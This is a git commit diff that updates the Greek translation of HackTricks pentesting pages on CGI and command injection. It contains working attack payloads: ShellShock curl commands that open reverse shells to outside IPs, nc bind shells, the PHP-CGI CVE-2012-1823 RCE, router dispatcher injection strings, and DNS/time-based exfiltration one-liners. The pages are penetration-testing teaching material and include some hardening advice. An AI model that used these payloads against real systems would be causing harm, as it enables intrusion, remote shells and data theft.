Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',

This commit is contained in:
Translator 2025-10-04 10:02:34 +00:00
parent deb682f36a
commit 316683a49d
2 changed files with 101 additions and 32 deletions

View File

@ -1,26 +1,30 @@
# CGI Pentesting
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Πληροφορίες
Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **να αλλάξετε την επέκταση** από **.pl** σε **.cgi**, να δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και να **πρόσβαση** στο reverse shell **από τον περιηγητή** για να το εκτελέσετε. Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\) ## Πληροφορίες
# **ShellShock** Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε συμβιβάσει έναν server που μπορεί να εκτελέσει _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **αλλάξετε την επέκταση** από **.pl** σε **.cgi**, δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε.
Για να ελέγξετε για **CGI vulns** συνιστάται η χρήση `nikto -C all` \(και όλα τα plugins\)
Το **ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο **Bash** command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των **μεταβλητών περιβάλλοντος**, οι οποίες είναι δυναμικές ονομασμένες τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching **κακόβουλο κώδικα** σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα. ## **ShellShock**
Εκμεταλλευόμενοι αυτή την ευπάθεια, η **σελίδα θα μπορούσε να ρίξει ένα σφάλμα**. **ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος γραμμής εντολών **Bash** σε Unix-based λειτουργικά συστήματα. Στοχεύει την ικανότητα του Bash να τρέχει εντολές που του περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των **μεταβλητών περιβάλλοντος (environment variables)**, που είναι δυναμικές ονομαστικές τιμές που επηρεάζουν τον τρόπο εκτέλεσης διεργασιών σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσθέτοντας **κακόβουλο κώδικα** σε environment variables, ο οποίος εκτελείται όταν η μεταβλητή λαμβάνεται. Αυτό επιτρέπει σε επιτιθέμενους να ενδεχομένως συμβιβάσουν το σύστημα.
Μπορείτε να **βρείτε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**. Εκμεταλλευόμενη αυτή την ευπάθεια η **σελίδα μπορεί να εμφανίσει σφάλμα**.
## **Δοκιμή** Μπορείτε να **εντοπίσετε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**.
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του ιστού. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις. ### **Δοκιμή**
Οι περισσότερες δοκιμές βασίζονται στο echo κάποιου κειμένου και αναμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην web απάντηση. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις cgi σελίδες και δοκιμάστε τις.
**Nmap** **Nmap**
```bash ```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
``` ```
## **Curl \(αντανάκλαση, τυφλό και εκτός ζώνης\)** ## **Curl \(reflected, blind and out-of-band\)**
```bash ```bash
# Reflected # Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
```bash ```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
``` ```
## Εκμετάλλευση ### Exploit
```bash ```bash
#Bind Shell #Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11 > set rhosts 10.1.2.11
> run > run
``` ```
# **Proxy \(MitM σε αιτήματα Web server\)** ## Κεντροποιημένοι CGI dispatchers (δρομολόγηση ενός μοναδικού endpoint μέσω παραμέτρων επιλογέα)
Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στο http αίτημα. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com" Πολλές ενσωματωμένες web UIs πολυπλέκουν δεκάδες προνομιούχες ενέργειες πίσω από ένα μοναδικό CGI endpoint (π.χ. `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν παράμετρο επιλογέα όπως `topicurl=<handler>` για να δρομολογήσουν το αίτημα σε μια εσωτερική συνάρτηση.
Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια **κεφαλίδα** που περιέχει: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" και αν ο server εκτελέσει οποιοδήποτε αίτημα κατά τη διάρκεια της συνεδρίας. Θα μπορείτε να καταγράψετε κάθε αίτημα που γίνεται από τον server. Μεθοδολογία για την εκμετάλλευση αυτών των δρομολογητών:
# Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) - Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
- Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`.
Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" \(&lt;5.3.12 / &lt; 5.4.2\) μπορείτε να εκτελέσετε κώδικα. Γενικά σχήματα exploit:
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να έχετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\). ```http
Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, θα μπορούσατε να έχετε πρόσβαση για παράδειγμα στο `/index.php?-s` \(σημειώστε το `-s`\) και **ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση**. POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε αυτήν την ειδική ερώτηση: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και τον **PHP κώδικα** που θα εκτελείται στο **σώμα του αιτήματος. Παράδειγμα:** # 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Εντοπισμός και θωράκιση:
- Παρακολουθήστε για μη-εξουσιοδοτημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers.
- Σημαδέψτε παραμέτρους που ξεκινούν με `-` (argv option injection attempts).
- Vendors: επιβάλετε authentication σε όλους τους state-changing handlers, επικυρώστε με αυστηρές allowlists/types/lengths, και μην περνάτε ποτέ user-controlled strings ως command-line flags.
## Παλιό PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Βασικά, αν cgi είναι ενεργό και php είναι "old" \(&lt;5.3.12 / &lt; 5.4.2\) μπορείτε να εκτελέσετε κώδικα.
Για να εκμεταλλευτείτε αυτή την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\).
Για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(σημειώστε το `-s`\) και **ο source code της εφαρμογής θα εμφανιστεί στην απάντηση**.
Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό ερώτημα: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP code** που θα εκτελεστεί στο **body του αιτήματος**.
Παράδειγμα:
```bash ```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
``` ```
**Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** **Περισσότερες πληροφορίες για το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM to Web server requests\)**
Το CGI δημιουργεί μια environment variable για κάθε header στο http request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
Καθώς η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**". Αν ο server πραγματοποιήσει κάποια αίτηση κατά τη διάρκεια της συνεδρίας, θα μπορείτε να καταγράψετε κάθε αίτηση που κάνει ο server.
## **Αναφορές**
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Τι είναι command Injection; ## Τι είναι command Injection?
Ένα **command injection** επιτρέπει την εκτέλεση αυθαίρετων operating system commands από έναν attacker στον server που φιλοξενεί μια application. Ως αποτέλεσμα, η application και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον attacker να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της application και στο underlying system. Μια **command injection** επιτρέπει την εκτέλεση αυθαίρετων εντολών του λειτουργικού συστήματος από έναν επιτιθέμενο στον διακομιστή που φιλοξενεί μια εφαρμογή. Ως αποτέλεσμα, η εφαρμογή και όλα τα δεδομένα της μπορούν να παραβιαστούν πλήρως. Η εκτέλεση αυτών των εντολών συνήθως επιτρέπει στον επιτιθέμενο να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή έλεγχο στο περιβάλλον της εφαρμογής και στο υποκείμενο σύστημα.
### Πλαίσιο ### Πλαίσιο
Ανάλογα με **πού εγχέεται το input σας**, μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν από τις εντολές. Ανάλογα με το **πού εγχέεται το input σας** μπορεί να χρειαστεί να **τερματίσετε το quoted context** (χρησιμοποιώντας `"` ή `'`) πριν τις εντολές.
## Command Injection/Execution ## Command Injection/Execution
```bash ```bash
@ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Περιορισμοί** Παρακάμψεις ### **Limition** Bypasses
Αν προσπαθείτε να εκτελέσετε **arbitrary commands inside a linux machine** θα σας ενδιαφέρει να διαβάσετε για αυτά τα **Bypasses:**
Αν προσπαθείτε να εκτελέσετε **οποιαδήποτε εντολή σε linux μηχάνημα**, μπορεί να σας ενδιαφέρει να διαβάσετε για αυτές τις **Παρακάμψεις:**
{{#ref}} {{#ref}}
../linux-hardening/bypass-bash-restrictions/ ../linux-hardening/bypass-bash-restrictions/
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Παράμετροι ### Παράμετροι
Ακολουθούν οι 25 κορυφαίες παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)): Ακολουθούν οι κορυφαίες 25 παράμετροι που θα μπορούσαν να είναι ευάλωτες σε code injection και παρόμοιες RCE ευπάθειες (από [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -76,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Time based data exfiltration ### Time based data exfiltration
Εξαγωγή δεδομένων: χαρακτήρα ανά χαρακτήρα Εξαγωγή δεδομένων: char by char
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -90,7 +91,7 @@ sys 0m0.000s
``` ```
### DNS based data exfiltration ### DNS based data exfiltration
Βασίζεται στο εργαλείο από `https://github.com/HoLyVieR/dnsbin`, το οποίο φιλοξενείται επίσης στο dnsbin.zhack.ca Βασισμένο στο εργαλείο από `https://github.com/HoLyVieR/dnsbin` που φιλοξενείται επίσης στο dnsbin.zhack.ca
``` ```
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
@ -100,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Διαδικτυακά εργαλεία για έλεγχο για DNS based data exfiltration: Online εργαλεία για να ελέγξετε για DNS based data exfiltration:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile` ### Node.js `child_process.exec` vs `execFile`
Κατά τον έλεγχο JavaScript/TypeScript back-ends, θα συναντάτε συχνά το Node.js `child_process` API. Κατά τον έλεγχο backend εφαρμογών σε JavaScript/TypeScript, συχνά θα συναντήσετε το Node.js `child_process` API.
```javascript ```javascript
// Vulnerable: user-controlled variables interpolated inside a template string // Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process'); const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */ /* … */
}); });
``` ```
`exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα έχει ως αποτέλεσμα **command injection** όταν η είσοδος του χρήστη συνενώνεται στη συμβολοσειρά. `exec()` εκκινεί ένα **shell** (`/bin/sh -c`), επομένως οποιοσδήποτε χαρακτήρας που έχει ειδικό νόημα για το shell (back-ticks, `;`, `&&`, `|`, `$()`, …) θα οδηγήσει σε **command injection** όταν η είσοδος του χρήστη συγχωνεύεται σε μια συμβολοσειρά.
**Mitigation:** χρησιμοποιήστε `execFile()``spawn()` χωρίς την `shell` επιλογή) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται το shell: **Αντιμετώπιση:** χρησιμοποιήστε `execFile()``spawn()` χωρίς την επιλογή `shell`) και παρέχετε **κάθε όρισμα ως ξεχωριστό στοιχείο πίνακα** ώστε να μην εμπλέκεται shell:
```javascript ```javascript
const { execFile } = require('child_process'); const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [ execFile('/usr/bin/do-something', [
@ -139,8 +140,37 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload) '--payload', JSON.stringify(payload)
]); ]);
``` ```
Πραγματικό περιστατικό: *Synology Photos* ≤ 1.7.0-0794 ήταν εκμεταλλεύσιμο μέσω ενός μη-επαληθευμένου WebSocket event που τοποθέτησε δεδομένα υπό τον έλεγχο του attacker στο `id_user`, τα οποία αργότερα ενσωματώθηκαν σε κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024). Πραγματική περίπτωση: *Synology Photos* ≤ 1.7.0-0794 ήταν εκτεθειμένο μέσω ενός μη πιστοποιημένου WebSocket event που τοποθέτησε attacker controlled δεδομένα στο `id_user` τα οποία αργότερα ενσωματώθηκαν σε μια κλήση `exec()`, επιτυγχάνοντας RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Δεν απαιτούν όλες οι εγχύσεις shell metacharacters. Αν η εφαρμογή περνάει μη αξιόπιστες συμβολοσειρές ως ορίσματα σε ένα system utility (ακόμα και με `execve`/`execFile` και χωρίς shell), πολλά προγράμματα θα εξακολουθούν να αναλύουν οποιοδήποτε όρισμα που ξεκινά με `-` ή `--` ως επιλογή. Αυτό επιτρέπει σε έναν attacker να αλλάξει λειτουργίες, να αλλάξει μονοπάτια εξόδου ή να ενεργοποιήσει επικίνδυνες συμπεριφορές χωρίς ποτέ να εισέλθει σε ένα shell.
Τυπικά σημεία όπου αυτό εμφανίζεται:
- Embedded web UIs/CGI handlers που κατασκευάζουν εντολές όπως `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, κ.λπ.
- Centralized CGI routers (π.χ. `/cgi-bin/<something>.cgi` με παράμετρο selector όπως `topicurl=<handler>`) όπου πολλαπλοί handlers επαναχρησιμοποιούν τον ίδιο αδύναμο validator.
Τι να δοκιμάσετε:
- Δώστε τιμές που ξεκινούν με `-`/`--` για να καταναλωθούν ως flags από το downstream tool.
- Κακομεταχειριστείτε flags που αλλάζουν συμπεριφορά ή γράφουν αρχεία, για παράδειγμα:
- `ping`: `-f`/`-c 100000` για να καταπονήσετε τη συσκευή (DoS)
- `curl`: `-o /tmp/x` για να γράψετε σε αυθαίρετα μονοπάτια, `-K <url>` για να φορτώσετε attacker-controlled config
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να επιτύχετε post-rotate execution σε unsafe wrappers
- Αν το πρόγραμμα υποστηρίζει το `--` (end-of-options), δοκιμάστε να παρακάμψετε αφελείς mitigations που προθέτουν `--` στο λάθος σημείο.
Generic PoC shapes against centralized CGI dispatchers:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Brute-Force Detection List ## Brute-Force Detection List
@ -156,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}